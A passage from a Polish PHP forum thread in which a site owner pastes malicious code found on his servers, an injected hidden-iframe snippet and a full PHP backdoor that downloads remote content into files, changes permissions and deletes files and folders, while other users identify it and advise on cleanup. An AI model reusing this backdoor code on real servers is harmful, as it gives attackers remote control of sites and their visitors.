Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [php] jakiś dziwny kod
Forum PHP.pl > Forum > PHP
naver
Witam,

Ostatnio na ftp pojawiły się u mnie dziwne pliki i w index.php na końcu coś takiego:

  1. <!-- analytics7 --> <? error_reporting(0); $stat=$_SERVER["HTTP_REFERER"];$flag_g=stristr($stat,"google.");$flag_y=stristr($stat,"yahoo.");$flag_b=stristr($stat,"bing.");if(($flag_g) or ($flag_y) or ($flag_b)){echo "<iframe src=\"http://adres-mojej-strony.pl/css-dtr.php\" width=1 height=1 frameborder=0></iframe>";} ?>



pliki miały następujące nazwy:

css-kin.php
css-lz.php
css-on.php
css-zeu.php


Czego przyczyną jest pojawianie się takich niechcianych plików? Pojawiły się u mnie w kilku domenach.. nawet takich któe nie miały cms'a


W jednym z plikó był taki kod:
  1. <?
  2.  
  3.  
  4. $err_flg=$_GET['err'];
  5. if ($err_flg==1) {error_reporting(-1);}
  6. else {error_reporting(0);}
  7.  
  8.  
  9. if (isset($_GET["checksum"])) die(md5($_GET["checksum"]));
  10.  
  11. $else_dot=$_GET['else_dot'];
  12. $flag_sum=$_GET['flag_sum'];
  13. $chmod_name=$_GET['chmod_name'];
  14. $chmod_mod=$_GET['chmod_mod'];
  15. $chmod_mod=intval($chmod_mod, 8);
  16. $f_creat_url=$_GET['f_creat_url'];
  17. $f_creat_name=$_GET['f_creat_name'];
  18. $f_del_name=$_GET['f_del_name'];
  19. $folder_creat_name=$_GET['folder_creat_name'];
  20. $folder_del_name=$_GET['folder_del_name'];
  21.  
  22. if ($flag_sum==1) {echo "734057843957";}
  23.  
  24. if ($chmod_name)
  25. {
  26. if ($else_dot==1) {chmod ("$chmod_name", $chmod_mod);}
  27. else
  28. {
  29. if ($else_dot) {chmod ("$chmod_name.$else_dot", $chmod_mod);}
  30. else {chmod ("$chmod_name.php", $chmod_mod);}
  31. }
  32. echo "ok chmod";
  33. }
  34.  
  35.  
  36. if ($f_creat_url)
  37. {
  38. $new_vsn1="http://$f_creat_url";
  39. $new_vsn=getau("$new_vsn1");
  40. if ($else_dot==1) {$new_v_f=fopen("$f_creat_name","w+");}
  41. else
  42. {
  43. if ($else_dot) {$new_v_f=fopen("$f_creat_name.$else_dot","w+");}
  44. else {$new_v_f=fopen("$f_creat_name.php","w+");}
  45. }
  46. fwrite($new_v_f, "$new_vsn");
  47. fclose($new_v_f);
  48. echo "ok creat file";
  49. }
  50.  
  51. if ($f_del_name)
  52. {
  53. if ($else_dot==1) {unlink ("$f_del_name");}
  54. else
  55. {
  56. if ($else_dot) {unlink ("$f_del_name.$else_dot");}
  57. else {unlink ("$f_del_name.php");}
  58. }
  59. echo "ok del file";
  60. }
  61.  
  62. if ($folder_creat_name)
  63. {
  64. $flag_mkd = mkdir ("$folder_creat_name", 0777);
  65. echo "ok make dir";
  66. }
  67.  
  68. if ($folder_del_name)
  69. {
  70. $folder_del_name=trim($folder_del_name);
  71. if ($folder_del_name<>"")
  72. {
  73. removeDirRec("$folder_del_name");
  74. echo "ok del dir";
  75. }
  76. }
  77.  
  78. function getau ($path)
  79. {
  80. if (!function_exists ("file_get_contents"))
  81. {
  82. function file_get_contents ($addr)
  83. {
  84. $a = @fopen ($addr, "r");
  85. $tmp = @fread ($a, sprintf ("%u", @filesize ($a)));
  86. @fclose ($a);
  87. if ($a) return @$tmp;
  88. }
  89. }
  90.  
  91. if (!function_exists ("file_put_contents"))
  92. {
  93. function file_put_contents ($addr, $con)
  94. {
  95. $a = @fopen ($addr, "w+");
  96. if (!$a) return 0;
  97. @fwrite ($a, $con);
  98. @fclose ($a);
  99. return @strlen ($con);
  100. }
  101. }
  102. $content = file_get_contents ($path);
  103. if ($content=="")
  104. {
  105. $curl = curl_init ();
  106. curl_setopt ($curl, CURLOPT_URL, trim($path));
  107. curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
  108. curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
  109. curl_setopt ($curl, CURLOPT_TIMEOUT, 5);
  110. $content = curl_exec ($curl);
  111. curl_close($curl);
  112. }
  113. if ($content!="")
  114. {
  115. return $content;
  116. }
  117. }
  118.  
  119. function removeDirRec($dir)
  120. {
  121. if ($objs = glob($dir."/*")) {
  122. foreach($objs as $obj) {
  123. is_dir($obj) ? removeDirRec($obj) : unlink($obj);
  124. }
  125. }
  126. rmdir($dir);
  127. }
  128.  
  129.  
  130.  
  131. ?>
!*!
Temat był niejednokrotnie już poruszany na forum. Poszukaj. W skrócie, masz robaka na komputerze, który przechwyca Twoje hasła do FTP, bo korzystasz z total commandera.
Korab
Wygląda to na kod, który umożliwia zdalny dostęp do plików. Są funkcje do usuwania plików i do zmiany treści na jakąś treść pobraną zdalnie z inego serwera.
naver
Hmm żadnego robaka nie znalazłem. Używam Fire FTP ale on pewnie bezpieczeństwem nie grzeszy. Co polecacie używać żeby do czegoś takiego nie doszło?
Szymciosek
Po pierwsze nie zapisuj haseł w takich programach... bo często to jest powodem takich sytuacji jakie Ty masz.
Korab
Nie wchodź na strony z torrentami, bo tam mogą być wirusy.
A tak serio - cała higiena bezpieczeństwa komputerowego, czyli mocne hasła (losowe znaki itd.), regularna zmiana haseł, antywirus+firewall+antyspyware+antyrootkit+cotamjeszczechcesz. Możesz sobie zrobić wirtualną maszynę nawet.
!*!
Cytat
antywirus+firewall+antyspyware+antyrootkit+cotamjeszczechcesz.

Albo zmień system, jak nie chcesz mieć tego całego badziewia np. Debian
l0ud
To że nic nie znalazłeś to nie znaczy że nic nie masz. A kod to taki typowy phpowy backdoor do zdalnej modyfikacji i wgrywania plików.
Najlepiej byłoby przeskanować/przeinstalować system na komputerze, mieć już dobrego antywirusa, zmienić wszystkie hasła i wszystkie strony dokładnie przywrócić z backupu przed włamaniem (przynajmniej pod względem plików na ftp).
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.